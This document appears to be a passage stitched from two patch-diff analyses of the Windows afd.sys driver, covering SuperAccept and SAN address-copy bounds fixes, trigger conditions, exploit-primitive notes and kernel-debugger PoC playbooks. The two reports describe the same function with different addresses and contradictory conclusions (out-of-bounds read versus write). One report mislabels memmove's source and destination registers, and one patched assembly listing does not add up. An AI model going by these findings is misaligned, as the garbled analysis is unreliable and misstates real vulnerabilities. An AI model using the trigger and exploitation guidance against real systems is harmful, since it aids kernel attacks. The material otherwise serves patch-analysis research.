0x1c007788a: call    memmove              ; clamped copy

The twin AfdSanAcceptCore (sub_1C007608C) carries the identical change: the unpatched build references g_Feature_232206649_59779869 at 0x1c00762d8, 0x1c0076303, and 0x1c007642d and retains an unclamped legacy copy (memmove at 0x1c00765bb); the patched build has no reference to that feature and reaches the clamped copies (memmove at 0x1c0076491 after mov eax, 0xfffe, and 0x1c00764da after mov eax, 0xfff8) unconditionally.

Attacker-Reachable Entry Point: AfdSanConnectHandler and AfdSanAcceptCore run in the AFD SAN (switched-fabric / Winsock Direct provider) accept path. The over-long copy is bounded only by the 16-bit length field in the source address data, so the reachable primitive is a kernel out-of-bounds write. Confirming the exact size and page alignment of the destination MDL-mapped buffer is required to characterize how far past the buffer the write reaches.

Finding B — Out-of-bounds read in SuperAccept address retrieval

Severity: Medium (bounded kernel information disclosure of up to 10 bytes; no out-of-bounds write or memory corruption)
Vulnerability Class: Out-of-bounds read (CWE-125) / Kernel Information Disclosure
Affected Function: AfdRestartSuperAcceptGetAddress (sub_1C0065660)
Feature flag: g_Feature_499346745_59190809 (evaluated via EvaluateCurrentState, sub_1c0015714).

Sections 3 through 7 below detail Finding B.

Root Cause: The function, AfdRestartSuperAcceptGetAddress (sub_1C0065660), is an IRP completion routine that runs during AcceptEx (SuperAccept) processing to retrieve the transport address returned by the TDI transport provider. It shifts the address data backward in the mapped buffer by 10 bytes using memmove (sub_1c000c900). Specifically, it copies from (buffer + offset + 0xa) to (buffer + offset). The length of this copy (rbx_1) is derived from a 16-bit length field located at offset +8 within the returned data (*(buffer + offset + 8) + 2).

In the unpatched code's default path, this copy length is clamped to the remaining space in the MDL (Memory Descriptor List) buffer (MdlAddress->ByteCount - offset), rather than the actual size of the data returned by the transport. Because the source pointer begins 10 bytes ahead of the destination, this miscalculation causes the copy operation to read up to 10 bytes past the end of the validly mapped buffer. The buffer is a partial MDL built (via IoBuildPartialMdl in AfdContinueSuperAccept) over the user-supplied AcceptEx output buffer and then mapped into system address space, so the overread runs past that mapping into adjacent kernel (system address space) memory. The patched version fixes this by unconditionally clamping the copy length to (total_returned_length - 0xa), ensuring the read strictly remains within the bounds of the returned data.

Attacker-Reachable Entry Point & Call Chain: 1. User-mode application issues an AcceptEx operation, which reaches AFD as IRP_MJ_DEVICE_CONTROL (IOCTL_AFD_SUPER_ACCEPT). 2. AfdDispatch (sub_1c0049d90) routes the IRP into the SuperAccept path. 3. AfdWaitForListen (sub_1c00589b0) / AfdRestartSuperAccept (sub_1c00654f0) drive the accept, issuing a TDI query for the connection's transport address. 4. AfdContinueSuperAccept (sub_1c0058170) and the restart chain register AfdRestartSuperAcceptGetAddress (sub_1c0065660) as the completion routine. 5. When the transport returns the address, the routine fires and performs the backward shift, triggering the out-of-bounds read that returns leaked kernel memory into the AcceptEx output buffer.

3. Pseudocode Diff

// UNPATCHED AfdRestartSuperAcceptGetAddress (sub_1C0065660) — vulnerable completion routine
void* rbp_2 = *(Overlay_1 + 8) + MappedSystemVa_1;  // buffer + offset
int16_t rbx_1 = *(rbp_2 + 8) + 2;               // length field from returned data + 2

// VULNERABILITY: Feature flag check. Default path is vulnerable!
if (!EvaluateCurrentState(&g_Feature_499346745_59190809))  // sub_1c0015714
{
    // Clamps copy length to MDL ByteCount - offset (remaining buffer space)
    struct _MDL* MdlAddress_1 = arg2->MdlAddress;
    if (MdlAddress_1->ByteCount - *(Overlay_1 + 8) < rbx_1)
        rbx_1 = MdlAddress_1->ByteCount - *(Overlay_1 + 8);
    // BUG: Source is rbp_2 + 0xa, so the final read extends up to 10 bytes PAST MDL end
}
else  // Safe alternate path (flag ON)
{
    int16_t rax_6 = *(Overlay_1 + 0x18);
    if (rax_6 < 0xa) rax_6 = 0; else rax_6 -= 0xa;
    if (rax_6 < rbx_1) rbx_1 = rax_6;
}

// memmove(dst, src, len) -- OOB READ occurs here
sub_1c000c900(rbp_2, rbp_2 + 0xa, rbx_1);        

// PATCHED AfdRestartSuperAcceptGetAddress (sub_1C0065830) — always uses safe clamp
// Feature flag and unsafe ByteCount path removed; always clamps to returned length - 0xa
int16_t rax_5 = *(Overlay_1 + 0x18);
if (rax_5 < 0xa) rax_5 = 0; else rax_5 -= 0xa;
if (rax_5 < rdi_1) rdi_1 = rax_5;  

// Safe copy - stays within bounds of returned data
sub_1c000c900(rsi_2, rsi_2 + 0xa, rdi_1);

4. Assembly Analysis

The assembly block below shows the vulnerable sequence in the unpatched binary. The issue stems from using MdlAddress->ByteCount to bound the copy operation.

; ===== VULNERABLE SECTION — default path (feature flag OFF) =====
0x1c0065756: mov     ebp, dword [rsi+0x8]          ; ebp = offset into buffer
0x1c0065760: mov     r15d, dword [rsi+0x18]        ; r15d = total_returned_length
0x1c0065764: add     rbp, rax                      ; rbp = MappedSystemVa + offset
0x1c0065767: movzx   ebx, word [rbp+0x8]           ; ebx = *(data+8) = returned length field
0x1c006576b: add     bx, 0x2                       ; rbx_1 = length + 2
0x1c006576f: call    0x1c0015714                   ; EvaluateCurrentState (feature flag check)
0x1c0065774: test    eax, eax
0x1c0065776: je      0x1c0065798                   ; if flag OFF → VULNERABLE PATH
; --- VULNERABLE PATH (flag OFF) ---
0x1c0065798: mov     rdx, qword [rdi+0x8]          ; rdx = MDL
0x1c006579c: movzx   eax, bx                        ; eax = rbx_1 (length + 2)
0x1c006579f: mov     ecx, dword [rdx+0x28]         ; ecx = MdlAddress->ByteCount (32-bit!)
0x1c00657a2: sub     ecx, dword [rsi+0x8]          ; ecx -= offset
0x1c00657a5: cmp     ecx, eax                       ; if ByteCount-offset >= rbx_1
0x1c00657a7: jae     0x1c00657b1                   ;   skip clamp (KEEP OVERSIZED rbx_1) 
0x1c00657a9: movzx   ebx, word [rdx+0x28]          ; re-read ByteCount as 16-bit
0x1c00657ad: sub     bx, word [rsi+0x8]            ; 16-bit clamp to ByteCount - offset
; ===== END VULNERABLE SECTION =====
0x1c00657b1: movzx   r8d, bx                        ; r8d = final copy length
0x1c00657b5: lea     rdx, [rbp+0xa]                ; src = rbp + 10
0x1c00657b9: mov     rcx, rbp                       ; dst = rbp
0x1c00657bc: call    0x1c000c900                   ; memmove(dst, src, len) — OOB READ

In the patched binary (AfdRestartSuperAcceptGetAddress @ 0x1C0065830), the feature-flag call and the entire ByteCount-clamp path are gone. The code unconditionally computes total_returned_length - 0xa and clamps the copy length to it before the memmove:

0x1c0065928: movzx   eax, word [rbp+0x18]         ; rax = total_returned_length
0x1c0065934: cmp     ax, 0xa
0x1c0065938: jb      0x1c0065944
0x1c006593a: mov     ecx, 0xfff6
0x1c006593f: add     ax, cx                        ; rax = returned_length - 10
0x1c0065944: xor     eax, eax                      ; (if < 10) clamp to 0
0x1c0065946: cmp     ax, di
0x1c0065950: cmovb   di, ax                        ; clamp copy length to returned_length - 10
0x1c0065954: movzx   r8d, di
0x1c0065958: call    memmove                       ; safe copy

5. Trigger Conditions

Interface: A user-mode application performs an AcceptEx on an AFD (\Device\Afd) listening socket; this reaches AFD as IRP_MJ_DEVICE_CONTROL (IOCTL_AFD_SUPER_ACCEPT), driving the SuperAccept code path.
Address Retrieval: During SuperAccept, AFD issues a TDI query to obtain the accepted connection's transport address; the result is placed in the MDL-mapped buffer processed by AfdRestartSuperAcceptGetAddress.
Length Field: The 16-bit length field at data offset +8 in the returned buffer, when +2, is greater than the actual returned data size but less than the remaining MDL buffer size (ByteCount - offset).
Logic State: The feature flag EvaluateCurrentState(&g_Feature_499346745_59190809) (sub_1c0015714) must return FALSE (its default/unpatched state) to take the vulnerable code path.
Observable Effect: The AcceptEx output buffer (the local/remote transport addresses returned to user mode) is populated with the address data followed by up to 10 bytes read from beyond the end of the mapped buffer. No BSOD is expected unless the overread crosses an unmapped page boundary.

6. Exploit Primitive & Development Notes

Primitive: Kernel information disclosure. The memmove reads its source from destination + 0xa but the copy length is bounded (in the vulnerable path) by MdlAddress->ByteCount - offset rather than returned_length - 0xa, so the read can extend up to 10 bytes past the end of the MDL-mapped buffer. Those trailing bytes are whatever memory immediately follows the buffer's mapping, and they are written back into the AcceptEx address output surfaced to user mode.
Attacker-arrangeable condition: The ByteCount used for the clamp is the size of the AcceptEx output buffer supplied by the user-mode caller. By sizing that buffer so that ByteCount - offset sits at or just above the returned address length, the caller drives the copy length up to ByteCount - offset while the source remains shifted by +0xa, producing the overread. The operation is repeatable across AcceptEx calls.
Demonstrable impact: Up to 10 bytes of adjacent kernel memory are disclosed to user mode per triggering call. No out-of-bounds write, control-flow hijack, or memory corruption is present in this routine, so any further use of the disclosed bytes is out of scope for what this change demonstrates.

7. Debugger PoC Playbook

For an analyst with a kernel debugger (KD/WinDbg) attached to the unpatched binary:

Breakpoints:
bp afd_unpatched!AfdRestartSuperAcceptGetAddress (sub_1c0065660, function entry)
bp afd_unpatched!sub_1c0065660+0x15c (call to memmove performing the OOB read, 0x1c00657bc)
bp afd_unpatched!sub_1c0065660+0x10f (feature flag check, 0x1c006576f)
What to inspect:
At the feature flag check: Step over the call 0x1c0015714. If eax returns 0, the vulnerable path is taken.
At 0x1c00657bc (the call 0x1c000c900):
- rcx = Destination pointer (MappedSystemVa + offset).
- rdx = Source pointer (rcx + 0xa).
- r8d = Computed copy length (clamped against MDL ByteCount).
- r15d = Actual returned data length.
- If r8d > (r15d - 0xa), the read is out of bounds. The memory accessed at [rdx + r8d] will exceed the MDL mapping boundary.
Key Instructions/Offsets:
0x1c006579f (mov ecx, dword [rdx+0x28]): The instruction that improperly reads the MDL ByteCount to clamp the copy length instead of using the returned data size.
0x1c00657bc: The memmove call executing the OOB read.
Trigger Setup:
Set up an AFD listening socket and issue an AcceptEx.
Drive the SuperAccept path so AfdRestartSuperAcceptGetAddress processes a transport-address buffer whose length field at offset +8 exceeds the actual returned data size by up to ~10 bytes.
Expected Observation: Upon hitting 0x1c00657bc, inspect the source and destination pointers in rcx and rdx. Use !pte <rdx+r8d> to observe that the copy operation crosses the end of the mapped buffer. After executing the call, inspect the AcceptEx address output returned to user mode; the trailing bytes will contain memory read from beyond the mapped buffer.

8. Changed Functions — Full Triage

Two of the changed functions carry the primary security fix (Finding A): AfdSanConnectHandler (sub_1C00772A0 unpatched / sub_1C00771B0 patched) and AfdSanAcceptCore (sub_1C007608C). In both, the unpatched build gates the address-copy bounds clamp behind g_Feature_232206649_59779869 and retains an unclamped legacy copy path as the default; the patched build removes that feature flag and applies the clamp unconditionally (see Section 2, Finding A). These are the out-of-bounds write fix, not cosmetic changes.

The following functions (AfdSocketTransferEnd (sub_1C005B160), AfdSocketTransferBegin (sub_1C005B340), AfdQueryProviderInfo (sub_1C0036B40), AfdFreeTransportInfo (sub_1C0036BF8), AfdGetTransportInfo (sub_1C00369B0), WskTdiCreateCO (sub_1C0043978), WskTdiCreateAO (sub_1C004359C), AfdTdiCreateAO (sub_1C003AE08), AfdWaitForListen (sub_1C00589B0)) add device-attachment reference validation (IoGetDeviceAttachmentBaseRef / IoGetRelatedDeviceObject) gated behind newly added feature flags (g_Feature_3082489147_60797107, g_Feature_3420192058), with the original path retained in the disabled branch. Because the old path is kept and the checks are feature-gated, this is staged defense-in-depth rather than a delivered, unconditionally-enforced fix. AfdGetInformation (sub_1C00360D0) and AfdUnload (sub_1C003D2A0) only pick up the same feature-gated device-reference plumbing plus renumbering. AfdBind (sub_1C0034AD0) is a control-flow simplification (a removed feature gate and a transport-info structure offset shift from 0x38 to 0x40) with no change to the reachability of its raw-socket security check.

9. Unmatched Functions

No unmatched functions were added or removed in the patched binary.

10. Confidence & Caveats

Confidence: High. For both findings the two builds directly show a bounds clamp that is feature-gated (with an unsafe default path) in the unpatched binary and unconditional in the patched binary. Finding A is an unclamped memmove length (source length field) versus a capacity clamp; Finding B is a clamp against the MDL ByteCount versus the actual returned data size.
Assumptions: It is assumed the feature flags g_Feature_232206649_59779869 (Finding A) and g_Feature_499346745_59190809 (Finding B) return FALSE in the default unpatched OS state, so the unsafe default paths are the ones taken. This is typical for Microsoft's phased rollout architecture, and the patched build hard-removes both flags in favor of the clamped paths.
Verification Needed: For Finding A, confirm the size of the destination MDL-mapped SAN accept buffer and the maximum attainable value of the 16-bit source length field to bound how far the write reaches past the buffer. For Finding B, verify the page alignment and size of the MDL-mapped buffer to determine, for a given AcceptEx output-buffer size, whether the up-to-10-byte overread stays within the buffer's final mapped page or crosses into the following system mapping. !pte on the source-plus-length address confirms whether the access leaves the mapped region.

afd.sys — Out-of-bounds write via missing 10-byte header reservation (CWE-787) in AfdRestartSuperAcceptGetAddress fixed

2026-06-26T00:00:00-07:00

1. Overview

Unpatched Binary: afd_unpatched.sys
Patched Binary: afd_patched.sys
Overall Similarity Score: 0.979
Diff Statistics: 1182 matched functions, 18 changed functions, 1164 identical functions, and 0 unmatched functions in either direction.
Verdict: The patch delivers two genuine hardening changes. The headline change is in the SuperAccept address-completion routine AfdRestartSuperAcceptGetAddress: the unpatched build gates the correct copy-length clamp behind a runtime feature flag, and when that flag is off it omits the 10-byte reservation needed for the in-place buffer shift, allowing a bounded out-of-bounds write into the mapped transport-address buffer (CWE-787). The patched build removes the gate and always clamps. A second genuine change removes a feature-flag gate that could skip device-stack validation during accept/connect (CWE-843). Two further changes — an added, feature-gated callback-serialization counter at endpoint offset +0xf8, and a reference-count ordering tweak in AfdAddConnectedReference — are feature-staged (the old behavior is retained in an else-branch) and are not demonstrable vulnerabilities in the unpatched build.

2. Vulnerability Summary

Finding 1: Out-of-Bounds Write in SuperAccept Address Copy

Severity: High
Vulnerability Class: Out-of-bounds Write (CWE-787)
Affected Function: AfdRestartSuperAcceptGetAddress (unpatched @ 0x1C006D7F0, patched @ 0x1C006D730) — the AcceptEx/SuperAccept IRP completion routine.
Root Cause: The routine maps the transport-address buffer and shifts its contents forward by 10 (0xa) bytes with memmove(dst = ptr+0xa, src = ptr, size). The copy length must therefore be clamped to leave 10 bytes of headroom at the destination. In the unpatched build the correct clamp (size - 0xa) is gated behind EvaluateCurrentState(g_Feature_298020153_59190810_FeatureDescriptorDetails). When that flag evaluates false, the code instead clamps only to MdlByteCount - offset, which does not reserve the 10 bytes consumed by the +0xa destination shift. As a result the memmove destination can extend up to 10 bytes past the end of the mapped buffer, writing transport-supplied bytes into adjacent memory.
Scope / Correction of impact: The overwrite is bounded to at most 10 bytes past the destination end. The memmove source stays within the buffer (src through src + size where size <= MdlByteCount - offset), so there is no out-of-bounds read and no kernel-memory information disclosure. The store mov [r15+rbp-2], di that follows is present identically in both builds and merely records the computed length; it is not part of the defect and not a separate corruption primitive.
Attacker-Reachable Entry Point & Data Flow:
A local process issues an AcceptEx / AFD_SUPER_ACCEPT operation on a listening socket over \Device\Afd.
The IRP is dispatched to the TCP/IP transport, which completes it with the accepted connection's address data.
Completion invokes AfdRestartSuperAcceptGetAddress, which maps the address MDL and reads the length field at [mapped + offset + 8].
With the feature flag off, the length is clamped only against MdlByteCount - offset, and memmove shifts the data forward by 10 bytes, writing up to 10 bytes past the buffer end.

Finding 2: Feature-Staged Callback Serialization Counter (endpoint +0xf8)

Severity: Low
Vulnerability Class: Race Condition (CWE-362) — not demonstrated
Affected Functions: AfdTLListenComplete (unpatched @ 0x1C005FC10, patched @ 0x1C0060E90), AfdSetInformation, AfdQueryCompartmentId, AfdTLPauseUnPause, AfdGetAddress, AfdGetInformation.
What actually changed: The patched build introduces a counter at endpoint offset +0xf8 that is atomically incremented before, and decremented after, TDI callback invocations, and adds a while (*(rbx+0xf8) != 0) { pause; } spin-wait in AfdTLListenComplete before its callback dispatch. The unpatched build contains no reference to offset +0xf8 in these paths at all (the endpoint structure grew by 8 bytes; e.g. the close-refcount field moved from [rbx+0x158] to [rbx+0x160]).
Why this is not rated as a delivered fix: Every +0xf8 increment/decrement and the spin-wait are gated behind EvaluateCurrentState(g_Feature_3088522553_60513072_FeatureDescriptorDetails), and each gate keeps the original counter-less path in the else-branch (jz skips the counter when the flag is off). This is a staged rollout of a serialization mechanism, not an unconditionally delivered change. The callback dispatch is otherwise byte-for-byte equivalent between builds, and no use-after-free or double-free is demonstrable in the unpatched code, so the underlying race is not established.

Finding 3: Type Confusion via Bypassed Device-Stack Validation

Severity: High
Vulnerability Class: Type Confusion (CWE-843)
Affected Functions: AfdCreateConnection (unpatched @ 0x1C0055BF0, patched @ 0x1C0056280), AfdCreateConnection_Old (@ 0x1C0007DE4 in both).
Root Cause: During accept/connect the driver compares the device-stack base of the endpoint's connection object against that of the supplied handle (IoGetDeviceAttachmentBaseRef on each, then cmp), returning STATUS_INVALID_PARAMETER (0xC000000D) on mismatch. In the unpatched build the entire comparison block is wrapped in if (EvaluateCurrentState(g_Feature_1552108857_59735561_FeatureDescriptorDetails)); when the flag is false the check is skipped and execution falls through to AfdIssueDeviceControl without validating that the handle belongs to the same device stack. An attacker can then associate a handle from a different device stack with the AFD endpoint, causing subsequent I/O to interpret the wrong object type.
Direction: Correct. The patched build removes the gate entirely and performs the IoGetDeviceAttachmentBaseRef comparison unconditionally (the only preceding branch is the handle != NULL null-check), so the bypass path no longer exists.
Attacker-Reachable Entry Point & Data Flow:
NtDeviceIoControlFile targets \Device\Afd with an accept/connect request supplying an attacker-chosen handle.
In the unpatched build the feature flag is off, so the device-stack comparison is skipped.
The mismatched handle is attached to the AFD endpoint via AfdIssueDeviceControl.

Finding 4: Reference-Count Ordering in AfdAddConnectedReference

Severity: Low
Vulnerability Class: Race Condition (CWE-362) — not demonstrated
Affected Function: AfdAddConnectedReference (unpatched @ 0x1C0058F28, patched @ 0x1C0059A48).
What actually changed: The unpatched build performs lock inc [rbx+0x30] (the reference count) after KeReleaseInStackQueuedSpinLock. The patched build can perform the same lock inc before the release — but only when EvaluateCurrentState(g_Feature_2476938553_60405306_FeatureDescriptorDetails) is true; when the flag is false it retains the original order (increment after release). The increment is an atomic lock inc in both builds and in both branches, so the count is never torn regardless of lock position. This is a feature-staged ordering adjustment with the old path retained; no use-after-free is demonstrable.

3. Pseudocode Diff

Finding 1: `AfdRestartSuperAcceptGetAddress` (High OOB write)

// === UNPATCHED ===
// ptr = MappedSystemVa + offset;  size field = *(ctx + 0x18)
uint16_t len = *(uint16_t*)(ptr + 8) + 2;      // transport-supplied length + 2

if (EvaluateCurrentState(&g_Feature_298020153_59190810)) {
    // FLAG ON: correct clamp, reserves 0xa for the +0xa destination shift
    uint16_t cap = (uint16_t)(*(uint16_t*)(ctx + 0x18) - 0xa);
    if (*(uint16_t*)(ctx + 0x18) < 0xa) cap = 0;
    len = (len <= cap) ? len : cap;
} else {
    // FLAG OFF: clamps only to (MdlByteCount - offset); NO 0xa reservation
    uint32_t avail = irp->MdlAddress->ByteCount - offset;
    if (avail < len) len = (uint16_t)(irp->MdlAddress->ByteCount - offset);
}

memmove(ptr, ptr + 0xa, len);   // dst = ptr + 0xa can end up to 10 bytes past buffer
*(uint16_t*)(sizefield + ptr - 2) = len;   // identical in both builds

// === PATCHED ===
// No feature flag; always the reserving clamp
uint16_t cap = (uint16_t)(*(uint16_t*)(ctx + 0x18) - 0xa);
if (*(uint16_t*)(ctx + 0x18) < 0xa) cap = 0;
uint16_t len = *(uint16_t*)(ptr + 8) + 2;
len = (cap <= len) ? cap : len;             // min(size - 0xa, len)
memmove(ptr, ptr + 0xa, len);
*(uint16_t*)(sizefield + ptr - 2) = len;

Finding 3: `AfdCreateConnection` (High Type Confusion)

// === UNPATCHED ===
if (EvaluateCurrentState(&g_Feature_1552108857_59735561)) {
    ObReferenceObjectByHandle(handle, ...);
    DEVICE_OBJECT* a = IoGetDeviceAttachmentBaseRef(connectionDevice);
    DEVICE_OBJECT* b = IoGetDeviceAttachmentBaseRef(IoGetRelatedDeviceObject(handleObj));
    if (a != b) return 0xC000000D;   // STATUS_INVALID_PARAMETER
}
// flag off: comparison skipped entirely -> falls through to attach
AfdIssueDeviceControl(...);

// === PATCHED ===
// No feature flag; comparison always runs when a handle is supplied
if (handle != NULL) {
    ObReferenceObjectByHandle(handle, ...);
    DEVICE_OBJECT* a = IoGetDeviceAttachmentBaseRef(connectionDevice);
    DEVICE_OBJECT* b = IoGetDeviceAttachmentBaseRef(IoGetRelatedDeviceObject(handleObj));
    if (a != b) return 0xC000000D;
}
AfdIssueDeviceControl(...);

Finding 4: `AfdAddConnectedReference` (Low, feature-staged ordering)

// === UNPATCHED ===
bts [rbx+4], 0xc;                       // set state bit under lock
KeReleaseInStackQueuedSpinLock(&h);     // lock released
lock inc [rbx+0x30];                     // atomic increment after release

// === PATCHED ===
bts [rbx+4], 0xc;
if (EvaluateCurrentState(&g_Feature_2476938553_60405306)) {
    lock inc [rbx+0x30];                 // atomic increment before release
    KeReleaseInStackQueuedSpinLock(&h);
} else {
    KeReleaseInStackQueuedSpinLock(&h);  // old order retained
    lock inc [rbx+0x30];
}

4. Assembly Analysis

Finding 1: `AfdRestartSuperAcceptGetAddress` copy-length clamp

Unpatched build (@ 0x1C006D7F0), the feature-gated clamp and copy:

00000001C006D8CE  cmp     [rdi+0ACh], r12b   ; endpoint TLV/address flag (r12b=0); must be set
00000001C006D8D5  jz      loc_1C006D96B
00000001C006D8F9  mov     ebp, [rsi+8]        ; offset into the mapped buffer
00000001C006D8FC  lea     rcx, g_Feature_298020153_59190810_FeatureDescriptorDetails
00000001C006D903  mov     r15d, [rsi+18h]     ; buffer size field
00000001C006D907  add     rbp, rax            ; ptr = MappedSystemVa + offset
00000001C006D90A  movzx   edi, word ptr [rbp+8] ; transport-supplied length
00000001C006D90E  add     di, 2               ; len = length + 2
00000001C006D912  call    EvaluateCurrentState
00000001C006D917  test    eax, eax
00000001C006D919  jz      short loc_1C006D937 ; flag OFF -> weak clamp
; --- SAFE PATH (flag on): reserves 0xa ---
00000001C006D91B  movzx   eax, word ptr [rsi+18h]
00000001C006D91F  cmp     ax, 0Ah
00000001C006D923  lea     ecx, [rax-0Ah]      ; cap = size - 0xa
00000001C006D926  cmovb   cx, r12w            ; if size < 0xa, cap = 0
00000001C006D92B  cmp     cx, di
00000001C006D92E  cmovnb  cx, di              ; len = min(cap, len)
00000001C006D932  movzx   edi, cx
00000001C006D935  jmp     short loc_1C006D955
; --- WEAK PATH (flag off): no 0xa reservation ---
00000001C006D937  mov     rax, [rbx+8]        ; MDL
00000001C006D93B  mov     r8d, [rsi+8]        ; offset
00000001C006D93F  mov     edx, [rax+28h]      ; MDL ByteCount
00000001C006D942  mov     ecx, edx
00000001C006D944  sub     ecx, r8d            ; avail = ByteCount - offset (0xa NOT reserved)
00000001C006D947  movzx   eax, di
00000001C006D94A  cmp     ecx, eax
00000001C006D94C  jnb     short loc_1C006D955
00000001C006D94E  movzx   edi, dx
00000001C006D951  sub     di, r8w             ; len = ByteCount - offset
; --- COPY: destination is shifted +0xa ---
00000001C006D955  movzx   r8d, di             ; Size
00000001C006D959  lea     rdx, [rbp+0Ah]      ; dst = ptr + 0xa
00000001C006D95D  mov     rcx, rbp            ; src = ptr
00000001C006D960  call    memmove             ; up to 10 bytes past buffer end when flag off
00000001C006D965  mov     [r15+rbp-2], di     ; store computed length (identical in both builds)

Patched build (@ 0x1C006D730), the same region with the flag removed and only the reserving clamp:

00000001C006D832  mov     edi, [r15+18h]      ; size field
00000001C006D836  mov     esi, [r15+8]        ; offset
00000001C006D83A  add     rsi, rax            ; ptr = MappedSystemVa + offset
00000001C006D83D  lea     eax, [rdi-0Ah]      ; cap = size - 0xa
00000001C006D840  movzx   ecx, word ptr [rsi+8]
00000001C006D844  lea     rdx, [rsi+0Ah]      ; dst = ptr + 0xa
00000001C006D848  add     cx, 2               ; len = length + 2
00000001C006D84C  cmp     di, 0Ah
00000001C006D850  cmovb   ax, r12w            ; if size < 0xa, cap = 0
00000001C006D855  cmp     ax, cx
00000001C006D858  cmovnb  ax, cx              ; len = min(cap, len)
00000001C006D85C  mov     rcx, rsi            ; src = ptr
00000001C006D85F  movzx   ebx, ax
00000001C006D862  mov     r8d, ebx            ; Size
00000001C006D865  call    memmove
00000001C006D86A  mov     [rdi+rsi-2], bx

There is no EvaluateCurrentState call and no ByteCount - offset fallback in the patched routine.

Finding 2: `AfdTLListenComplete` spin-wait (feature-gated)

Patched build (@ 0x1C0060E90):

00000001C0060F0F  lea     rcx, g_Feature_3088522553_60513072_FeatureDescriptorDetails
00000001C0060F2E  call    EvaluateCurrentState
00000001C0060F33  test    eax, eax
00000001C0060F35  jz      short loc_1C0060F47   ; flag OFF -> skip wait (old behavior)
00000001C0060F39  pause                          ; loop body
00000001C0060F3B  mov     rax, [rbx+0F8h]        ; read counter
00000001C0060F42  test    rax, rax
00000001C0060F45  jnz     short loc_1C0060F39    ; spin while counter != 0
00000001C0060F47  ...     call __guard_dispatch_icall_fptr  ; callback dispatch (same in both builds)

The unpatched AfdTLListenComplete (@ 0x1C005FC10) has no +0xf8 read and no EvaluateCurrentState; it dispatches the callback directly. Every +0xf8 increment/decrement in the other listed functions is guarded by the same flag with a jz that skips the counter when it is off.

Finding 3: `AfdCreateConnection` device-stack comparison

Unpatched build (@ 0x1C0055BF0), gate that can skip the check:

00000001C0055F67  lea     rcx, g_Feature_1552108857_59735561_FeatureDescriptorDetails
00000001C0055F6E  call    EvaluateCurrentState
00000001C0055F73  test    eax, eax
00000001C0055F75  jz      loc_1C0056076          ; flag OFF -> jump PAST the whole comparison
00000001C0055FCC  call    IoGetDeviceAttachmentBaseRef
00000001C0055FED  call    IoGetDeviceAttachmentBaseRef
00000001C0055FFC  cmp     rsi, rax
00000001C0055FFF  jz      loc_1C005604C          ; match -> proceed
00000001C0056042  mov     eax, 0C000000Dh        ; mismatch -> STATUS_INVALID_PARAMETER

Patched build (@ 0x1C0056280) performs the comparison unconditionally (only a handle != NULL null-check precedes it):

00000001C005662E  call    IoGetDeviceAttachmentBaseRef
00000001C005664F  call    IoGetDeviceAttachmentBaseRef
00000001C005665E  cmp     rdi, rax
00000001C0056661  jz      loc_1C00566AE          ; match
00000001C00566A4  mov     eax, 0C000000Dh        ; mismatch -> STATUS_INVALID_PARAMETER

Finding 4: `AfdAddConnectedReference` increment ordering

Unpatched (@ 0x1C0058F28): KeReleaseInStackQueuedSpinLock at 0x1C0058F62, then lock inc dword ptr [rbx+30h] at 0x1C0058F6E. Patched (@ 0x1C0059A48): EvaluateCurrentState(g_Feature_2476938553_60405306) at 0x1C0059A9B; when true, lock inc [rbx+30h] at 0x1C0059AA9 precedes the release at 0x1C0059AAD; when false, the release at 0x1C0059ABB precedes lock inc [rbx+30h] at 0x1C0059AC7. The increment is atomic in every path.

5. Trigger Conditions

To exercise the Finding 1 out-of-bounds write in AfdRestartSuperAcceptGetAddress on the unpatched build: 1. Open a listening socket and issue an AcceptEx / AFD_SUPER_ACCEPT operation on \Device\Afd, establishing the SuperAccept completion path. 2. Complete a connection so the transport returns address data; the completion routine runs with IoStatus.Information == 0x1a (checked at cmp dword ptr [rdx+38h], 1Ah) and the endpoint's address flag at [rdi+0xac] set. 3. The address buffer's length field at [mapped + offset + 8] must be large enough that, after the +0xa destination shift, the clamp to MdlByteCount - offset still allows the copy to reach past the buffer end (overshoot up to 10 bytes). 4. EvaluateCurrentState(g_Feature_298020153_59190810_FeatureDescriptorDetails) must return false, routing execution to the weak clamp at 0x1C006D937.

6. Exploit Primitive & Development Notes

Provided Primitive: A bounded out-of-bounds write of up to 10 bytes of transport-supplied address data immediately past the end of the mapped transport-address buffer in kernel pool. There is no out-of-bounds read: the memmove source range stays within the buffer.
Constraints: The overshoot is capped at 10 bytes; the written bytes are the shifted tail of the address structure rather than fully arbitrary content; and the path is only reachable when the feature flag is off. Turning a 10-byte adjacent-pool overwrite into a broader primitive would depend on pool layout and the contents of the neighboring allocation, none of which is established here.

7. Debugger PoC Playbook

Attach a local kernel debugger to the unpatched target.

Breakpoints

bp afd_unpatched!AfdRestartSuperAcceptGetAddress
bp afd_unpatched+0x6d937 ".printf \"[!] weak clamp path\\n\"; r di"
bp afd_unpatched+0x6d960 ".printf \"[!] memmove size=%x src=%p dst=%p\\n\", @r8d, @rcx, @rdx"

(Offsets are relative to the image base; 0x1C006D937 and 0x1C006D960 are the file addresses.)

What to Inspect

At 0x1C006D912 (call EvaluateCurrentState): the return value in eax. eax == 0 selects the weak clamp path.
At 0x1C006D937: di holds the transport-supplied length + 2 before the weak clamp.
At 0x1C006D960 (memmove): r8d is the copy size, rcx the source (ptr), rdx the destination (ptr + 0xa). If rdx + r8d exceeds MappedSystemVa + MdlByteCount, the write is out of bounds.

Expected Observation

When the weak clamp is taken with a large length, rdx + r8d extends up to 10 bytes past MappedSystemVa + MdlByteCount. With special pool enabled on the affected allocation this surfaces as a pool-corruption or page-fault bugcheck at or after the memmove call.

8. Changed Functions — Full Triage

The security-relevant behavioral changes are documented above. The remaining changed functions are structural reorganization and offset shifts:

AfdSetInformation (unpatched sub_1C005B800, 0.603 similarity): Operation-code dispatch restructured from cascaded compares into a bounded jump-table (cmp eax,0Eh / ja default) — a refactor with no unbounded index, so no out-of-bounds write. Also carries the feature-gated +0xf8 counter (Finding 2).
AfdCreateConnection (unpatched sub_1C0055BF0, 0.9425 similarity): Removed the feature-flag gate that could skip device-stack validation (Finding 3).
AfdCreateConnection_Old (sub_1C0007DE4, 0.9637 similarity): Same gate removal as AfdCreateConnection (Finding 3).
AfdAddConnectedReference (unpatched sub_1C0058F28, 0.468 similarity): Feature-gated reference-count increment ordering (Finding 4).
AfdQueryCompartmentId (unpatched sub_1C0036D94, 0.912 similarity): Feature-gated +0xf8 counter around the TDI query callback (Finding 2). The memset zero-fill size is a fixed 0x50 in both builds; there is no buffer-size change.
AfdTLPauseUnPause (unpatched sub_1C0061A70, 0.8586 similarity): Feature-gated +0xf8 counter around the TDI callback (Finding 2).
